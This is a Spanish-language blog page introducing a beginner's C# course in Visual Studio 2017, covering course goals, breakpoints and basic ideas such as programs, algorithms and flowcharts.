 -  También muestro en el video el uso de los puntos de ruptura.Los puntos de interrupción detienen la ejecución del depurador para, por ejemplo, ver el estado de las variables de código o examinar la pila de llamadas. Constituyen una de las técnicas de depuración más importantes en los cuadros de herramientas de los desarrolladores.

-Tenéis más información sobre los breakpoints: https://msdn.microsoft.com/es-es/library/5557y8b4.aspx

1.Introducción.Curso de C# con Visual Studio 2017


 1 - Objetivos del curso

  -  El curso está ideado para ser desarrollado por una persona que no conoce nada de programación y  utilice C# como primer lenguaje. Si queréis aprender y dedicaros a esto es bueno tener paciencia cuando los problemas no se resuelven por completo, pero es de fundamental importancia dedicar tiempo al análisis individual de los problemas.

- El entorno de desarrollo que utilizaremos para este curso de c# es Visual Studio Community 2017. Os lo podéis descargar desde aqui:https://www.visualstudio.com/es/downloads/ .Es gratuito siempre y cuandono sea para uso profesional.


Vamos con unos conceptos básicos para iniciarse en este mundo:

  • ¿Qué es un programa?: Conjunto de instrucciones que entiende un ordenador para realizar una actividad.
  •  La actividad fundamental del programador es resolver problemas empleando el ordenador como herramienta fundamental.
  • Para la resolución de un problema hay que plantear un algoritmo, que son los pasos a seguir para resolver un problema.
  •  Diagrama de flujo: Un diagrama de flujo es la representación gráfica de un ALGORITMO

Os pongo un breve video de introducción de lo que pretendo con este curso:




  En el siguiente capítulo iremos con las variables, los errores y los puntos de ruptura, también llamados breakpoinrt.

Curso .NET Core en C# - 34.Creamos nuestro propio log

34.Creamos nuestro propio log Hola a todos. En este curso, analizaremos todos los conceptos básicos, intermedios y avanzados de  ASP.NET...